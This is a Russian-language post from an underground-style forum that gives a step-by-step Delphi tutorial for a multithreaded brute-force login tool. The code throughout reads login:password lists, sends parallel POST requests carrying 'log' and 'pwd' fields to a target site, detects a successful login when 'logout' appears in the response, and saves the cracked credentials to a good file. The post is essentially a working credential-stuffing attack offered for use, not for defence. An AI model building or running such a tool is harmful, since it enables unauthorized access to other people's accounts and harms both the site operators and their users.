Пишем многопоточный Brute

  • Автор темы HHIDE_DUMP
  • Дата начала
  • Просмотры 829
  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Чтобы понять схему работы нашего будущего приложения попробуем всё представить:
по нажатию на кнопку Brute, программа должна начать вызывать нужное количество раз потоки (вызвать процедуру Execute у потока). В свою очередь в процедуре Execute должен стоять некий счётчик, который с каждым вызовом процедуры будет менять логин и пароль. Тем самым мы получим много потоков, которые будут параллельно друг-другу посылать POST - запросы на сервер, обрабатывать их и кидать их либо в goodfile, либо в badfile.
Теперь что касается данных файлов. Кто не читал, обязательно прочтите о синхронизации потоков, т.к. её мы тут будем активно использовать, именно с помощью методов Sinchronize и будут происходить все обращения (записывание) к (в) файлам(ы).

Я надеюсь что общий принцип понятен. А если нет, то станет понятен во время работы. Поехали[1].
Первым делом создадим новый проект (дабы не насиловать исходники старого, да и память освежить всегда полезно).
На форме у нас несколько меток (Login:pass, Good, Bad, и 2 счётчика для Good-ов и Bad-ов). Так же компонент UpDown, привязанный к edit1, кнопка открытия файла, кнопка Brute, и memo для записи в него отчётов.
Теперь идём дальше, как обычно сначала обработаем кнопку загрузки файла:
Код:
procedure TForm1.Button1Click(Sender: TObject);
var Op: TOpenDialog;  //Переменная типа TOpenDialog
begin
Op:= TOpenDialog.Create(OpenDialog1);  // инициализируем переменную
Op:= OpenDialog1; //привязываем к компоненту

if Op.Execute then  //Если диалог вызван, то
lp.LoadFromFile(Op.FileName); //В STRINGLIST pl выгружаем данные из файла открытого в диалоге

end;
Надо понимать переменную lp класса tstringlist мы должны создать и инициализировать заранее (инициализация в событии создания формы - OnCreate).

Так, теперь создадим поток:
Код:
type
MyThread = class(TThread)
private  //приватные переменные потока для извлечения логинов и паролей
logPath: string;  //извлечение логина
PasPath: string; //извлечение пароля
res: integer; //переменная результата (результат - или брут успешен, или нет)
public
 constructor Create(CreateSuspended: Boolean); //конструктор потока
 procedure Synch; // Процедура синхронизации
protected
 procedure Execute; override; //процедура Execute
end;
А теперь по-порядку. Приватные переменные созданы для извлечения логина и пароля, а так же для контроля результата. Кто читал первую часть статьи про написание Brute, тот помнит, что логины и пароли мы делили с помощью свойств массива StringList, в частности Delimiter и DelimiterText. Сейчас же, что бы не засорять код и не плодить лишние переменные, будем разделять логины и пароли стандартными строковыми функциями, а ложить результат как раз в эти 2 переменные: logPath и PasPath.

Переменная же res будет служить счётчиком результата. Т.е. если брут прошёл успешно и запрос вернул нам положительный результат, то в переменную res мы положим какое-либо значение, например цифру 1. Если брут не успешен, то цифру -1. В итоге мы обработаем эти значения, и в соответствии с ними предпримем какие-либо действия (например если результат равен 1 - то в файл GOOD.txt будет ложиться логин и пароль).

Теперь что такое конструктор потока? В данном случае у нас конструктор события Create. Это что-то вроде свойства Create у формы, т.е. что мы пропишем в обработчик конструктора, то и выполнится при создании потока.
Сразу его пропишем:
Код:
constructor MyThread.Create(CreateSuspended: Boolean);

begin
  inherited Create(CreateSuspended);
end;
Процедура Synch будет служить процедурой синхронизации (вопросы что да нахуя зачем оставь при себе, надо было читать предыдущие статьи. В частности синхронизацию потоков я описывал до этого).

Вроде разобрались с объявление потока. Теперь создадим обработчик события onclick на кнопке Brute! и напишем там следующее:
//Добавляем глобальные переменные
Код:
var
GoodFile, BadFile: textfile;
acc, Thread: integer;
work: Boolean;

//процедура onclick кнопки Brute!:
procedure TForm1.Button2Click(Sender: TObject);
begin
AssignFile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');  //Привязываем переменную GOODFILE к пути проекта+good.txt
Rewrite(GoodFile);  //Записываем GOODFILE
CloseFile(GoodFile);  //Закрываем GOODFILE

AssignFile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');  //аналогично поступаем и с BADFile
Rewrite(BadFile);
CloseFile(BadFile);

acc:= -1;  //Переменная acc - отвечает за текущую строку в StringList'е с логинами и паролями. Ставим ей значение -1, т.к. в последующем она будет
инкриментирована.
work:= true; // work будет проверять, есть ли ещё не проверенные строки в StringList'е и выдавать значение. Если true- то поток продолжает работу. Если False - то прекращает.
label4.Caption:= '0'; //Счётчик Good'ов
label6.Caption:= '0'; //Счётчик Bad'ов

for Thread:=1 to strtoint(edit1.Text) do  //Самый ответственный момент, запускаем потоки. Потоки от одного, до кол-ва введённого пользователем.
  MyThread.Create(false); //запуск.

Thread:= strtoint(Edit1.Text); //в переменную Thread ложится количество потоков введённых пользователем (переменная становится счётчиком потоков)
end;



procedure TForm1.FormCreate(Sender: TObject);
begin
lp:= TStringList.Create;
cs:= TCriticalSection.Create; // об этом позже :)
end;
Теперь ставим курсор на процедуру Execute в потоке, нажимаем Ctrl+Shift+C и переходим на обработчик процедуры.
Там у нас будет обычный POST-запрос с выдранным логином и паролем:
Код:
procedure MyThread.Execute;
var
nast: integer;    //переменная, обрабатывающая действующую строку с логином и паролем
 Param: TStringList;   // параметры для POST
 Result: TStringList;    //переменная для проверки результата
HTTP: TIdHTTP;   //переменная типа TIDHTTP
begin
  inherited;

while work do     //пока work=true делаем:

  begin
    cs.Enter;     //вход в критическую секцию
    inc(acc);     //инкриментируем переменную acc
    if acc < lp.Count then nast:=acc else work:= false;   //если acc < количества строк в файле логина и пароля, то curacc = acc, иначе work=false;
    cs.Leave;    //Выход из критической секции

      if work then //если WOrk = true, то
      begin
        HTTP:= TIdHTTP.Create(nil); //инициализация переменной HTTP как объект класса TIdHTTP
        logPath:= Copy(lp[nast],1,pos(':',lp[nast])-1);  //Выдираем логин (ВНИМАНИЕ! Вот это и есть то самое динамическое действие в потоке)
        PasPath:= Copy(lp[nast], pos(':', lp[nast])+1, length(lp[nast])); //Выдираем пароль

        Result:= TStringList.Create; //типичный POST-запрос
        param:= TStringList.Create;
        param.Add('log='+logPath);
        param.Add('pwd='+PasPath);
        Result.Text:= http.Post('сайт',param);
        if pos('logout',Result.Text) <> 0 then res:=1 else res:=-1; //если в массиве Result есть значение 'logout', то res=1, иначе res=-1.
      HTTP.Free; //Освобождаем переменную
      Param.Free; //Освобождаем переменную
      Synchronize(Synch); // Процедура Synch синхронизирована с помощью метода Synchronize

      end;



  end;
dec(Thread); // Уменьшаем количество потоков на 1
 if Thread=0 then ShowMessage('брутфорс закончен'); // если количество потоков = 0 тогда вызываем сообщение
end;
А теперь рассмотрим то, "о чём позже" - критические секции. Тебя наверное заинтересовал этот код:
Код:
 cs.Enter;     //вход в критическую секцию
    inc(acc);     //инкриментируем переменную acc
    if acc < lp.Count then nast:=acc else work:= false;   //если acc < количества строк в файле логина и пароля, то curacc = acc, иначе work=false;
    cs.Leave;    //Выход из критической секции
Объясняю. При работе с потоками, когда работают параллельно несколько потоков, и работают они с одними и теми же переменными, обязательно надо использовать критические секции. Это очень полезная вещь, которая к переменной в настоящий момент допускает лишь 1 поток. В нашем случае в критической секции значение переменной acc увеличивается на 1. Но если потоки работают параллельно, и без этих секций, то acc (а эта переменная означает строку в stringlist'е) будет увеличиваться сразу на 1 несколько раз, в итоге потоки сработают неправильно, выдадут не верный результат. А Критическая секция допускает 1 поток, пропускает его через себя, и лишь потом допускает второй. И ещё, либа критических секций прописывается в библиотеки отдельно, и зовётся он SyncObjs. Надеюсь общий принцип понятен.
Код:
procedure MyThread.Synch;
begin
case res of // если res =
1: begin // 1, то:
    form1.Label4.Caption:= inttostr(strtoint(form1.Label4.Caption)+1);
    Append(GoodFile); // открываем для записи файл GoodFile
    WriteLn(GoodFile, logpath+':'+paspath); // Записываем в него логин : пароль
    closefile(GoodFile); // закрываем
   end;
-1: begin
    form1.Label6.Caption:= inttostr(strtoint(form1.Label6.Caption)+1);
    Append(BadFile); // аналогично
    WriteLn(BadFile, logpath+':'+paspath);
    closefile(BadFile);
   end;
end;
end;
В принципе и всё, работа многопоточного брута показана. В данном случае показан самый просто пример.
Спасибо за внимание.
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя